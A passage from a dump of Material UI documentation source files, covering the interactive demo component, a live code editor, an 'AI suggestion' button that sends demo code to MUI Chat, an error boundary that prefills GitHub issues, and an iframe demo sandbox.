\"${demoOptions.demo.replace(/\\.([^.]*)$/, '.js')}\", …}}.`,\n        '',\n        \"Otherwise, if it's not a code demo hide the toolbar:\",\n        `{{\"demo\": \"${demoOptions.demo}\", \"hideToolbar\": true, …}}.`,\n      ].join('\\n'),\n    );\n  }\n\n  const t = useTranslate();\n  const codeVariant = useCodeVariant();\n  const { productDisplayName } = useDemoContext();\n\n  const demoData = useDemoData(codeVariant, demo, githubLocation, productDisplayName);\n\n  const hasNonSystemDemos = demo.rawTailwind || demo.rawTailwindTS || demo.rawCSS || demo.rawCSSTs;\n\n  const demoName = getDemoName(demoData.githubLocation);\n  const demoSandboxedStyle = React.useMemo(\n    () => ({\n      maxWidth: demoOptions.maxWidth,\n      height: demoOptions.height,\n    }),\n    [demoOptions.height, demoOptions.maxWidth],\n  );\n\n  if (demoOptions.bg == null) {\n    demoOptions.bg = 'outlined';\n\n    if (demoOptions.iframe) {\n      demoOptions.bg = true;\n    }\n  }\n\n  const [codeOpen, setCodeOpen] = React.useState(demoOptions.defaultCodeOpen || false);\n  const shownOnce = React.useRef(false);\n  if (codeOpen) {\n    shownOnce.current = true;\n  }\n\n  React.useEffect(() => {\n    const navigatedDemoName = getDemoName(window.location.hash);\n    if (navigatedDemoName && demoName === navigatedDemoName) {\n      setCodeOpen(true);\n    }\n  }, [demoName]);\n\n  const showPreview =\n    !demoOptions.hideToolbar &&\n    demoOptions.defaultCodeOpen !== false &&\n    Boolean(demoData.jsxPreview);\n\n  const [demoKey, setDemoKey] = React.useReducer((key) => key + 1, 0);\n\n  const demoId = `demo-${useId()}`;\n  const demoSourceId = `demoSource-${useId()}`;\n  const openDemoSource = codeOpen || showPreview;\n\n  const initialFocusRef = React.useRef(null);\n\n  const [showAd, setShowAd] = React.useState(false);\n  const adVisibility = showAd && !disableAd && !demoOptions.disableAd;\n\n  const isPreview = !codeOpen && showPreview;\n\n  const initialEditorCode = isPreview\n    ? demoData.jsxPreview\n    : // Prettier remove all the leading lines except for the last one, remove it as we don't\n      // need it in the live edit view.\n      demoData.raw.replace(/\\n$/, '');\n  const [editorCode, setEditorCode] = React.useState({\n    value: initialEditorCode,\n    isPreview,\n    initialEditorCode,\n  });\n\n  const resetDemo = React.useMemo(\n    () => () => {\n      setEditorCode({\n        value: initialEditorCode,\n        isPreview,\n        initialEditorCode,\n      });\n      setDemoKey();\n    },\n    [setEditorCode, setDemoKey, initialEditorCode, isPreview],\n  );\n\n  React.useEffect(() => {\n    setEditorCode({\n      value: initialEditorCode,\n      isPreview,\n      initialEditorCode,\n    });\n  }, [initialEditorCode, isPreview]);\n\n  const [debouncedError, setDebouncedError] = React.useState(null);\n\n  const [liveDemoActive, setLiveDemoActive] = React.useState(false);\n\n  const demoElement = useDemoElement({\n    demoData,\n    editorCode,\n    setDebouncedError,\n    liveDemoActive,\n  });\n\n  const [activeTab, setActiveTab] = React.useState(0);\n  const handleTabChange = (event, newValue) => {\n    setActiveTab(newValue);\n  };\n  const ownerState = { mounted: true, contained: true };\n\n  const tabs = React.useMemo(() => {\n    if (!demoData.relativeModules) {\n      return [{ module: demoData.module, raw: demoData.raw }];\n    }\n    let demoModule = demoData.module;\n    if (codeVariant === CODE_VARIANTS.TS && demo.moduleTS) {\n      demoModule =\n        demo.moduleTS === demo.module ? demoData.module.replace(/\\.js$/, '.tsx') : demo.moduleTS;\n    }\n\n    return [{ module: demoModule, raw: demoData.raw }, ...demoData.relativeModules];\n  }, [\n    codeVariant,\n    demo.moduleTS,\n    demo.module,\n    demoData.module,\n    demoData.raw,\n    demoData.relativeModules,\n  ]);\n\n  const [copiedContent, setCopiedContent] = React.useState(false);\n\n  const handleCopyClick = async () => {\n    try {\n      const activeTabData = tabs[activeTab];\n      await copy(activeTabData.raw);\n      setCopiedContent(true);\n      setTimeout(() => {\n        setCopiedContent(false);\n      }, 1000);\n    } catch (error) {\n      console.error('Code content not copied', error);\n    }\n  };\n\n  return (\n    <Root>\n      <AnchorLink id={demoName} />\n      <DemoRoot\n        hideToolbar={demoOptions.hideToolbar}\n        bg={demoOptions.bg}\n        id={demoId}\n        hasAiSuggestion={Boolean(demoOptions.aiSuggestion)}\n      >\n        <InitialFocus aria-label={t('initialFocusLabel')} action={initialFocusRef} tabIndex={-1} />\n        <DemoSandbox\n          key={demoKey}\n          id={demoId}\n          style={demoSandboxedStyle}\n          iframe={demoOptions.iframe}\n          isolated={demoOptions.isolated}\n          name={demoName}\n          onResetDemoClick={resetDemo}\n        >\n          {demoElement}\n        </DemoSandbox>\n      </DemoRoot>\n      {demoOptions.hideToolbar ? null : (\n        <React.Fragment>\n          {Object.keys(stylingSolutionMapping).map((key) => (\n            <React.Fragment key={key}>\n              <AnchorLink id={`${stylingSolutionMapping[key]}-${demoName}.js`} />\n              <AnchorLink id={`${stylingSolutionMapping[key]}-${demoName}.tsx`} />\n            </React.Fragment>\n          ))}\n          <AnchorLink id={`${demoName}.js`} />\n          <AnchorLink id={`${demoName}.tsx`} />\n          <DemoToolbarRoot demoOptions={demoOptions} openDemoSource={openDemoSource}>\n            <NoSsr fallback={<DemoToolbarFallback />}>\n              <React.Suspense fallback={<DemoToolbarFallback />}>\n                <DemoToolbar\n                  codeOpen={codeOpen}\n                  codeVariant={codeVariant}\n                  copyIcon={\n                    copiedContent ? <LibraryAddCheckRoundedIcon /> : <ContentCopyRoundedIcon />\n                  }\n                  copyButtonOnClick={handleCopyClick}\n                  hasNonSystemDemos={hasNonSystemDemos}\n                  demo={demo}\n                  demoData={demoData}\n                  demoId={demoId}\n                  demoName={demoName}\n                  demoOptions={demoOptions}\n                  demoSourceId={demoSourceId}\n                  initialFocusRef={initialFocusRef}\n                  onCodeOpenChange={() => {\n                    setCodeOpen((open) => !open);\n                    setShowAd(true);\n                  }}\n                  onResetDemoClick={resetDemo}\n                  openDemoSource={openDemoSource}\n                  showPreview={showPreview}\n                />\n              </React.Suspense>\n            </NoSsr>\n          </DemoToolbarRoot>\n          <Tabs value={activeTab} onChange={handleTabChange}>\n            {demoData.relativeModules && openDemoSource && !editorCode.isPreview ? (\n              <CodeTabList ownerState={ownerState}>\n                {tabs.map((tab, index) => (\n                  <CodeTab\n                    sx={selectionOverride}\n                    ownerState={ownerState}\n                    key={tab.module}\n                    value={index}\n                  >\n                    {tab.module}\n                  </CodeTab>\n                ))}\n              </CodeTabList>\n            ) : null}\n            <Collapse in={openDemoSource} unmountOnExit timeout={150}>\n              {/* A limitation from https://github.com/nihgwu/react-runner,\n                we can't inject the `window` of the iframe so we need a disableLiveEdit option. */}\n              {tabs.map((tab, index) => (\n                <TabPanel value={index} index={index} key={index}>\n                  {demoOptions.disableLiveEdit || index > 0 ? (\n                    <DemoCodeViewer\n                      key={index}\n                      code={tab.raw}\n                      id={demoSourceId}\n                      language={demoData.sourceLanguage}\n                      copyButtonProps={{\n                        'data-ga-event-category': codeOpen ? 'demo-expand' : 'demo',\n                        'data-ga-event-label': demo.gaLabel,\n                        'data-ga-event-action': 'copy-click',\n                      }}\n                      sx={{\n                        '& .MuiCode-copy': {\n                          display: 'none',\n                        },\n                        '& pre': {\n                          borderBottomLeftRadius: demoOptions.aiSuggestion ? 0 : 12,\n                          borderBottomRightRadius: demoOptions.aiSuggestion ? 0 : 12,\n                        },\n                      }}\n                    />\n                  ) : (\n                    <DemoEditor\n                      // Mount a new text editor when the preview mode change to reset the undo/redo history.\n                      key={editorCode.isPreview}\n                      value={editorCode.value}\n                      onChange={(value) => {\n                        setEditorCode({\n                          ...editorCode,\n                          value,\n                        });\n                      }}\n                      onFocus={() => {\n                        setLiveDemoActive(true);\n                      }}\n                      id={demoSourceId}\n                      language={demoData.sourceLanguage}\n                      copyButtonProps={{\n                        'data-ga-event-category': codeOpen ? 'demo-expand' : 'demo',\n                        'data-ga-event-label': demo.gaLabel,\n                        'data-ga-event-action': 'copy-click',\n                      }}\n                      sx={{\n                        '& .scrollContainer': {\n                          borderBottomLeftRadius: demoOptions.aiSuggestion ? 0 : 12,\n                          borderBottomRightRadius: demoOptions.aiSuggestion ? 0 : 12,\n                        },\n                      }}\n                    >\n                      <DemoEditorError>{debouncedError}</DemoEditorError>\n                    </DemoEditor>\n                  )}\n                </TabPanel>\n              ))}\n            </Collapse>\n          </Tabs>\n          {/* AI Suggestion Hero UI */}\n          {demoOptions.aiSuggestion ? (\n            <DemoAiSuggestionHero\n              suggestion={demoOptions.aiSuggestion}\n              params={{\n                name: demoName,\n                description: demoOptions.aiSuggestion,\n                initialMessage: demoOptions.aiSuggestion,\n                files: [\n                  {\n                    path: demo.moduleTS,\n                    content: demo.rawTS,\n                    isEntry: true,\n                  },\n                  ...(demo.relativeModules?.TS ?? []).map((module) => ({\n                    path: module.module,\n                    content: module.raw,\n                  })),\n                ],\n              }}\n            />\n          ) : null}\n          {adVisibility ? <AdCarbonInline /> : null}\n        </React.Fragment>\n      )}\n    </Root>\n  );\n}\n\nDemo.propTypes = {\n  demo: PropTypes.object.isRequired,\n  /**\n   * The options provided with: {{\"demo\": \"Name.js\", …demoOptions}}\n   */\n  demoOptions: PropTypes.object.isRequired,\n  disableAd: PropTypes.bool.isRequired,\n  githubLocation: PropTypes.string.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/DemoAiSuggestionHero.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport IconButton, { IconButtonProps } from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport AutoAwesomeIcon from '@mui/icons-material/AutoAwesome';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Snackbar from '@mui/material/Snackbar';\nimport Alert from '@mui/material/Alert';\nimport AlertTitle from '@mui/material/AlertTitle';\nimport { styled, SxProps, useTheme, Theme } from '@mui/material/styles';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { useTranslate } from '@mui/docs/i18n';\n\ninterface ExpandMoreProps extends IconButtonProps {\n  expand: boolean;\n}\n\nconst ExpandMore = styled((props: ExpandMoreProps) => {\n  const { expand, ...other } = props;\n  return <IconButton {...other} />;\n})(({ theme }) => ({\n  marginLeft: 'auto',\n  transition: theme.transitions.create('transform', {\n    duration: theme.transitions.duration.shortest,\n  }),\n  variants: [\n    {\n      props: ({ expand }) => !expand,\n      style: {\n        transform: 'rotate(0deg)',\n      },\n    },\n    {\n      props: ({ expand }) => !!expand,\n      style: {\n        transform: 'rotate(180deg)',\n      },\n    },\n  ],\n}));\n\nexport interface DemoAiSuggestionHeroProps {\n  suggestion: string;\n  params: Record<string, any>;\n  sx?: SxProps<Theme>;\n  onSuccess?: (url: string) => void;\n}\n\nconst baseUrl = process.env.NEXT_PUBLIC_MUI_CHAT_API_BASE_URL;\n\ninterface SuggestionButtonProps {\n  handleClick: React.MouseEventHandler<HTMLButtonElement>;\n  loading: boolean;\n  suggestion: string;\n}\n\nfunction SuggestionButton({ handleClick, loading, suggestion }: SuggestionButtonProps) {\n  return (\n    <Box sx={{ px: 2, pb: 2 }}>\n      <Button\n        variant=\"outlined\"\n        sx={{\n          textTransform: 'none',\n          fontWeight: 400,\n          fontSize: { xs: '0.75rem', sm: '0.875rem' },\n          py: 1,\n          boxShadow: 'none',\n        }}\n        onClick={handleClick}\n        disabled={loading}\n        startIcon={loading ? <CircularProgress color=\"inherit\" size={16} /> : null}\n      >\n        {suggestion}\n      </Button>\n    </Box>\n  );\n}\n\nexport default function DemoAiSuggestionHero({\n  suggestion,\n  params,\n  sx,\n  onSuccess,\n}: DemoAiSuggestionHeroProps) {\n  const [loading, setLoading] = React.useState(false);\n  const [error, setError] = React.useState<Error | null>(null);\n\n  const [expanded, setExpanded] = React.useState(false);\n\n  const theme = useTheme();\n  const isSmallScreen = useMediaQuery(theme.breakpoints.down('sm'));\n\n  const handleExpandClick = () => {\n    setExpanded(!expanded);\n  };\n\n  const t = useTranslate();\n\n  if (!baseUrl) {\n    return null;\n  }\n\n  const handleClick = async () => {\n    setError(null);\n    try {\n      const response = await fetch(`${baseUrl}/v1/public/chat/open`, {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/json',\n        },\n        body: JSON.stringify({\n          ...params,\n          type: 'mui-docs',\n        }),\n      });\n      if (!response.ok) {\n        throw new Error('Failed to open in MUI Chat');\n      }\n      const data = await response.json();\n      if (onSuccess) {\n        onSuccess(data.nextUrl);\n      }\n      window.open(data.nextUrl, '_blank');\n    } catch (err: any) {\n      setError(err as Error);\n    } finally {\n      setLoading(false);\n    }\n  };\n\n  return (\n    <Box\n      sx={{\n        border: '1px solid',\n        borderColor: 'divider',\n        borderTop: 'none',\n        borderRadius: { xs: 0, sm: '0 0 12px 12px' },\n        p: 0,\n        backgroundColor: 'background.paper',\n        boxShadow: 0,\n        maxWidth: '100%',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'stretch',\n        ...sx,\n      }}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'center',\n          px: 2,\n          pt: 2,\n          pb: 1,\n        }}\n      >\n        <AutoAwesomeIcon fontSize=\"small\" sx={{ color: 'primary.main', mr: 1 }} />\n        <Typography variant=\"subtitle2\" sx={{ fontWeight: 600 }}>\n          {t('aiCustomizeDemo')}\n        </Typography>\n        {isSmallScreen ? (\n          <ExpandMore\n            expand={expanded}\n            onClick={handleExpandClick}\n            aria-expanded={expanded}\n            aria-label={t('seeMore')}\n          >\n            <ExpandMoreIcon />\n          </ExpandMore>\n        ) : null}\n      </Box>\n      {isSmallScreen ? (\n        <Collapse in={expanded} timeout=\"auto\" unmountOnExit>\n          <SuggestionButton loading={loading} suggestion={suggestion} handleClick={handleClick} />\n        </Collapse>\n      ) : (\n        <SuggestionButton loading={loading} suggestion={suggestion} handleClick={handleClick} />\n      )}\n      <Snackbar\n        open={!!error}\n        color=\"error\"\n        anchorOrigin={{ vertical: 'top', horizontal: 'center' }}\n        onClose={() => setError(null)}\n        autoHideDuration={6000}\n      >\n        <Alert onClose={() => setError(null)} severity=\"error\" sx={{ width: '100%' }}>\n          <AlertTitle>{t('aiChatFailed')}</AlertTitle>\n          {error?.message}\n        </Alert>\n      </Snackbar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/DemoEditor.tsx",
    "content": "import * as React from 'react';\nimport SimpleCodeEditor from 'react-simple-code-editor';\nimport Box from '@mui/material/Box';\nimport { NoSsr } from '@mui/base/NoSsr';\nimport { styled, alpha, useTheme } from '@mui/material/styles';\nimport { visuallyHidden } from '@mui/utils';\nimport prism from '@mui/internal-markdown/prism';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\nimport { CodeCopyButton, useCodeCopy } from '@mui/docs/CodeCopy';\nimport { useTranslate } from '@mui/docs/i18n';\nimport { blueDark } from '@mui/docs/branding';\n\nconst StyledMarkdownElement = styled(MarkdownElement)(({ theme }) => [\n  {\n    '& .scrollContainer': {\n      maxHeight: 'min(68vh, 1000px)',\n      overflow: 'auto',\n      marginTop: -1,\n      backgroundColor: 'hsl(210, 25%, 9%)', // a special, one-off, color tailored for the code blocks using MUI's branding theme blue palette as the starting point. It has a less saturaded color but still maintaining a bit of the blue tint.\n      border: '1px solid transparent',\n      colorScheme: 'dark',\n      '&:hover': {\n        boxShadow: `0 0 0 3px ${alpha(theme.palette.primary[500], 0.5)}`,\n      },\n      '&:focus-within': {\n        boxShadow: `0 0 0 3px ${alpha(theme.palette.primary[500], 0.8)}`,\n      },\n      [theme.breakpoints.up('sm')]: {\n        borderRadius: '0 0 12px 12px',\n      },\n      ...theme.applyDarkStyles({\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n      }),\n    },\n    '& pre': {\n      // The scroll container needs to be the parent of the editor, overriding:\n      // https://github.com/mui/material-ui/blob/269c1d0c7572fcb6ae3b270a2622d16c7e40c848/docs/src/modules/components/MarkdownElement.js#L27-L26\n      maxWidth: 'initial',\n      maxHeight: 'initial',\n    },\n    '& .MuiCode-copy': {\n      display: 'none',\n    },\n  },\n]) as any;\n\nconst StyledSimpleCodeEditor = styled(SimpleCodeEditor)(({ theme }) => ({\n  ...theme.typography.body2,\n  fontSize: theme.typography.pxToRem(13),\n  fontFamily: theme.typography.fontFamilyCode,\n  fontWeight: 400,\n  WebkitFontSmoothing: 'subpixel-antialiased',\n  color: '#f8f8f2',\n  direction: 'ltr /*! @noflip */' as any,\n  float: 'left',\n  minWidth: '100%',\n  '& textarea': {\n    outline: 0,\n  },\n  '& > textarea, & > pre': {\n    // Override inline-style\n    whiteSpace: 'pre !important',\n  },\n}));\n\ninterface DemoEditorProps extends React.HTMLAttributes<HTMLDivElement> {\n  children: React.ReactNode;\n  copyButtonProps: {};\n  id: string;\n  language: string;\n  onChange: () => {};\n  value: string;\n  sx?: React.CSSProperties;\n}\n\nexport default function DemoEditor(props: DemoEditorProps) {\n  const { language, value, onChange, copyButtonProps, children, id, sx, ...other } = props;\n  const t = useTranslate();\n  const contextTheme = useTheme();\n  const wrapperRef = React.useRef<HTMLElement>(null);\n  const enterRef = React.useRef<HTMLElement>(null);\n  const handlers = useCodeCopy();\n\n  React.useEffect(() => {\n    wrapperRef.current!.querySelector('textarea')!.tabIndex = -1;\n  }, []);\n\n  return (\n    <StyledMarkdownElement\n      ref={wrapperRef}\n      onKeyDown={(event: React.KeyboardEvent) => {\n        if (event.key === 'Tab') {\n          return;\n        }\n\n        if (event.key === 'Escape') {\n          enterRef.current!.focus();\n          return;\n        }\n\n        if (event.key === 'Enter') {\n          const textarea = wrapperRef.current!.querySelector('textarea');\n          if (textarea !== document.activeElement) {\n            event.preventDefault();\n            event.stopPropagation();\n            textarea!.focus();\n          }\n        }\n      }}\n      sx={sx}\n      {...other}\n    >\n      <div className=\"MuiCode-root\" {...handlers}>\n        <div className=\"scrollContainer\">\n          <NoSsr>\n            <CodeCopyButton {...copyButtonProps} code={value} />\n          </NoSsr>\n          <label htmlFor={`${id}-textarea`} style={visuallyHidden}>\n            Edit code\n          </label>\n          <StyledSimpleCodeEditor\n            padding={contextTheme.spacing(2)}\n            highlight={(code: any) =>\n              `<code class=\"language-${language}\">${prism(code, language)}</code>`\n            }\n            id={id}\n            textareaId={`${id}-textarea`}\n            value={value}\n            onValueChange={onChange}\n          />\n        </div>\n        <Box\n          ref={enterRef}\n          aria-live=\"polite\"\n          tabIndex={0}\n          sx={(theme) => ({\n            position: 'absolute',\n            top: theme.spacing(1),\n            padding: theme.spacing(0.2, 1, 0.5, 1),\n            outline: 0,\n            left: '50%',\n            border: '1px solid',\n            borderColor: blueDark[600],\n            backgroundColor: blueDark[700],\n            color: '#FFF',\n            transform: 'translateX(-50%)',\n            borderRadius: '6px',\n            fontSize: theme.typography.pxToRem(13),\n            transition: 'all 0.3s',\n            boxShadow: '0 2px 4px rgba(0,0,0,0.5)',\n            '&:not(:focus)': {\n              top: 0,\n              opacity: 0,\n              pointerEvents: 'none',\n            },\n            '> kbd': {\n              padding: theme.spacing(0.2, 0.4),\n              backgroundColor: blueDark[500],\n              fontSize: theme.typography.pxToRem(11),\n              borderRadius: '6px',\n              border: '1px solid',\n              borderColor: blueDark[400],\n            },\n          })}\n          dangerouslySetInnerHTML={{\n            __html: t('editorHint'),\n          }}\n        />\n        {children}\n      </div>\n    </StyledMarkdownElement>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/DemoEditorError.tsx",
    "content": "import Alert, { AlertProps } from '@mui/material/Alert';\n\nexport default function DemoEditorError(props: AlertProps) {\n  if (!props.children) {\n    return null;\n  }\n\n  return (\n    <Alert\n      aria-live=\"polite\"\n      variant=\"filled\"\n      severity=\"error\"\n      sx={{\n        position: 'absolute',\n        top: 0,\n        left: '50%',\n        transform: 'translateX(-50%) translateY(-50%)',\n        py: '2px',\n        px: '6px',\n        '& .MuiAlert-icon': {\n          fontSize: 14,\n          mr: 0.5,\n          mt: 0.25,\n          py: 0,\n        },\n        '& .MuiAlert-message': {\n          fontSize: 12,\n          py: 0,\n        },\n      }}\n      {...props}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/DemoErrorBoundary.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\nimport Button from '@mui/material/Button';\n\n/**\n * Based on https://github.com/sindresorhus/new-github-issue-url/blob/061fa0ddb7d51f3b96d3a0f6a6bebb196f105a7b/index.js\n * with node 8 + IE11 support i.e. not using URL (URLSearchParams.set replaced with Map.set)\n */\nfunction newGitHubIssueUrl(options) {\n  const url = `${process.env.SOURCE_CODE_REPO}/issues/new`;\n\n  const query = Object.keys(options)\n    .map((type) => {\n      const value = options[type];\n      return `${type}=${encodeURIComponent(String(value))}`;\n    })\n    .join('&');\n\n  return `${url}?${query}`;\n}\n\nexport default class DemoErrorBoundary extends React.Component {\n  state = {\n    error: null,\n  };\n\n  static getDerivedStateFromError(error) {\n    return { error };\n  }\n\n  render() {\n    const { children, name, onResetDemoClick, t } = this.props;\n    const { error } = this.state;\n\n    if (error) {\n      const title = `[docs] Demo ${name} crashes`;\n      const searchQuery = encodeURIComponent(`is:issue ${title}`);\n      const issueLink = newGitHubIssueUrl({\n        title,\n        body: `\n<!-- Please make sure you have fulfilled the following items before submitting -->\n<!-- Checked checkbox should look like this: [x] -->\n- [ ] I have [searched for similar issues](${\n          process.env.SOURCE_CODE_REPO\n        }/issues?q=${searchQuery}) in this repository and believe that this is not a duplicate.\n\n## Steps to reproduce\n1. Visit ${window.location.href}\n2. ??\n3. demo *${name}* crashes\n\n## Your environment\n| Tech         | Version |\n|--------------|---------|\n| Version  | v${process.env.LIB_VERSION}  |\n| Netlify deploy | ${process.env.NETLIFY_DEPLOY_URL} |\n| Browser      | ${\n          typeof window !== 'undefined' && window.navigator\n            ? window.navigator.userAgent\n            : '*Unknown*'\n        } |\n`,\n      });\n\n      return (\n        <div>\n          <Typography color=\"error\" component=\"p\" variant=\"h5\" gutterBottom>\n            This demo had a runtime error!\n          </Typography>\n          <Typography>\n            {'We would appreciate it if you '}\n            <Link href={issueLink} rel=\"noopener\" target=\"_blank\">\n              report this error\n            </Link>\n            {` directly in our issue tracker with the steps you took to trigger it.\nThe \"report this error\" link prefills the issue description with valuable information.`}\n          </Typography>\n          <pre style={{ whiteSpace: 'pre-wrap' }}>{error.toString()}</pre>\n          <Button onClick={onResetDemoClick} variant=\"text\">\n            {t('resetDemo')}\n          </Button>\n        </div>\n      );\n    }\n\n    return children;\n  }\n}\n\nDemoErrorBoundary.propTypes = {\n  children: PropTypes.node,\n  name: PropTypes.string.isRequired,\n  onResetDemoClick: PropTypes.func.isRequired,\n  /**\n   * translate function from redux store\n   */\n  t: PropTypes.func.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/DemoSandbox.js",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport PropTypes from 'prop-types';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport createCache from '@emotion/cache';\nimport { CacheProvider } from '@emotion/react';\nimport { StyleSheetManager } from 'styled-components';\nimport { ThemeProvider as SystemThemeProvider } from '@mui/system';\nimport { createTheme, useTheme, styled } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport DemoErrorBoundary from 'docs/src/modules/components/DemoErrorBoundary';\nimport { useTranslate } from '@mui/docs/i18n';\nimport { unstable_useEnhancedEffect as useEnhancedEffect } from '@mui/utils';\nimport { DemoInstanceThemeProvider } from 'docs/src/theming';\nimport { ThemeOptionsContext } from '@mui/docs/ThemeContext';\nimport { useDemoContext } from '@mui/docs/DemoContext';\n\nconst SRC_DOC = `<!DOCTYPE html>\n<html>\n  <head>\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n    <link rel=\"stylesheet\" href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\">\n  </head>\n  <body></body>\n</html>`;\n\nlet globalInjectThemeCache;\n\n/**\n * Default iframe wrapper for Material UI demos.\n * Creates a Material theme and injects its CSS variables.\n */\nfunction MaterialIframeWrapper({ children, isolated }) {\n  // This theme only used for generating CSS variables, NOT with the React context (ThemeProvider).\n  const iframeTheme = React.useMemo(() => {\n    if (isolated) {\n      return null;\n    }\n    return createTheme({\n      colorSchemes: { light: true, dark: true },\n      cssVariables: {\n        colorSchemeSelector: 'data-mui-color-scheme',\n      },\n    });\n  }, [isolated]);\n\n  return (\n    <React.Fragment>\n      {iframeTheme && <GlobalStyles styles={iframeTheme.generateStyleSheets?.() || []} />}\n      {children}\n    </React.Fragment>\n  );\n}\nMaterialIframeWrapper.propTypes = {\n  children: PropTypes.node.isRequired,\n  isolated: PropTypes.bool,\n};\n\nfunction FramedDemo(props) {\n  const { children, document, isolated } = props;\n  const themeOptions = React.useContext(ThemeOptionsContext);\n  const { IframeWrapper } = useDemoContext();\n\n  const theme = useTheme();\n\n  React.useEffect(() => {\n    if (!isolated) {\n      document.body.setAttribute('dir', theme.direction);\n      document.documentElement.style.colorScheme = themeOptions.paletteMode;\n      document.documentElement.setAttribute('data-mui-color-scheme', themeOptions.paletteMode);\n    }\n  }, [document, isolated, theme.direction, themeOptions.paletteMode]);\n\n  const cache = React.useMemo(\n    () =>\n      createCache({\n        key: `iframe-demo-${theme.direction}`,\n        prepend: true,\n        container: document.head,\n        stylisPlugins: theme.direction === 'rtl' ? [prefixer, rtlPlugin] : [prefixer],\n      }),\n    [document, theme.direction],\n  );\n\n  const getWindow = React.useCallback(() => document.defaultView, [document]);\n\n  // Clone children with window prop first\n  const clonedChildren = React.cloneElement(children, { window: getWindow });\n\n  // Use custom wrapper from context, or default to MaterialIframeWrapper\n  // Pass `null` explicitly via context to disable wrapper entirely\n  const Wrapper = IframeWrapper === undefined ? MaterialIframeWrapper : IframeWrapper;\n\n  return (\n    <StyleSheetManager\n      target={document.head}\n      stylisPlugins={theme.direction === 'rtl' ? [rtlPlugin] : []}\n    >\n      <CacheProvider value={cache}>\n        {Wrapper ? (\n          <Wrapper document={document} isolated={isolated}>\n            {clonedChildren}\n          </Wrapper>\n        ) : (\n          clonedChildren\n        )}\n      </CacheProvider>\n    </StyleSheetManager>\n  );\n}\nFramedDemo.propTypes = {\n  children: PropTypes.node,\n  document: PropTypes.object.isRequired,\n  isolated: PropTypes.bool,\n};\n\nconst Iframe = styled('iframe')(({ theme }) => ({\n  backgroundColor: (theme.vars || theme).palette.background.default,\n  flexGrow: 1,\n  height: 400,\n  border: 0,\n  boxShadow: (theme.vars || theme)?.shadows?.[1],\n}));\n\nfunction DemoIframe(props) {\n  const { children, name, isolated, ...other } = props;\n  /**\n   * @type {import('react').Ref<HTMLIFrameElement>}\n   */\n  const frameRef = React.useRef(null);\n\n  // If we portal content into the iframe before the load event then that content\n  // is dropped in firefox.\n  const [iframeLoaded, onLoad] = React.useReducer(() => true, false);\n\n  React.useEffect(() => {\n    const document = frameRef.current.contentDocument;\n    // When we hydrate the iframe then the load event is already dispatched\n    // once the iframe markup is parsed (maybe later but the important part is\n    // that it happens before React can attach event listeners).\n    // We need to check the readyState of the document once the iframe is mounted\n    // and \"replay\" the missed load event.\n    // See https://github.com/facebook/react/pull/13862 for ongoing effort in React\n    // (though not with iframes in mind).\n    if (document != null && document.readyState === 'complete' && !iframeLoaded) {\n      onLoad();\n    }\n  }, [iframeLoaded]);\n\n  const document = frameRef.current?.contentDocument;\n  return (\n    <React.Fragment>\n      <Iframe onLoad={onLoad} ref={frameRef} title={`${name} demo`} {...other} srcDoc={SRC_DOC} />\n      {iframeLoaded !== false\n        ? ReactDOM.createPortal(\n            <FramedDemo document={document} isolated={isolated}>\n              {children}\n            </FramedDemo>,\n            document.body,\n          )\n        : null}\n    </React.Fragment>\n  );\n}\n\nDemoIframe.propTypes = {\n  children: PropTypes.node.isRequired,\n  isolated: PropTypes.bool,\n  name: PropTypes.string.isRequired,\n};\n\nfunction IsolatedDemo({ children, cssVarPrefix, colorSchemeNode, window }) {\n  return React.cloneElement(children, {\n    window,\n    cssVarPrefix,\n    colorSchemeNode: window ? window().document.documentElement : colorSchemeNode,\n    colorSchemeSelector: 'class',\n    documentNode: window ? window().document : undefined,\n    disableNestedContext: true,\n    storageManager: null,\n  });\n}\n\nIsolatedDemo.propTypes = {\n  children: PropTypes.node.isRequired,\n  /**\n   * The node to attach the selector. Ignored if `window` is provided.\n   */\n  colorSchemeNode: PropTypes.object,\n  /**\n   * The CSS variables prefix will be the name of the demo to avoid clashing with other demos\n   * because the generated CSS variables are global (always contain `:root`).\n   */\n  cssVarPrefix: PropTypes.string,\n  /**\n   * Provided by `DemoIframe`.\n   * If `window` is provided, the `colorSchemeNode` will be set to the html tag of the iframe.\n   */\n  window: PropTypes.func,\n};\n\n/**\n * Isolates the demo component as best as possible. Additional props are spread\n * to an `iframe` if `iframe={true}`.\n */\nfunction DemoSandbox(props) {\n  const { children, iframe = false, id, name, onResetDemoClick, isolated, ...other } = props;\n  const [injectTheme, setInjectTheme] = React.useState();\n  const [root, setRoot] = React.useState();\n\n  React.useEffect(() => {\n    setRoot(document.getElementById(id));\n  }, [id]);\n\n  const t = useTranslate();\n\n  useEnhancedEffect(() => {\n    async function setupMaterialUITheme() {\n      if (typeof window.getInjectTheme === 'function') {\n        if (!globalInjectThemeCache) {\n          window.React = React;\n          const jsx = await import('react/jsx-runtime');\n          window.jsx = jsx;\n          globalInjectThemeCache = window.getInjectTheme();\n        }\n        setInjectTheme(globalInjectThemeCache);\n      }\n    }\n    setupMaterialUITheme();\n  }, []);\n\n  return (\n    <DemoErrorBoundary name={name} 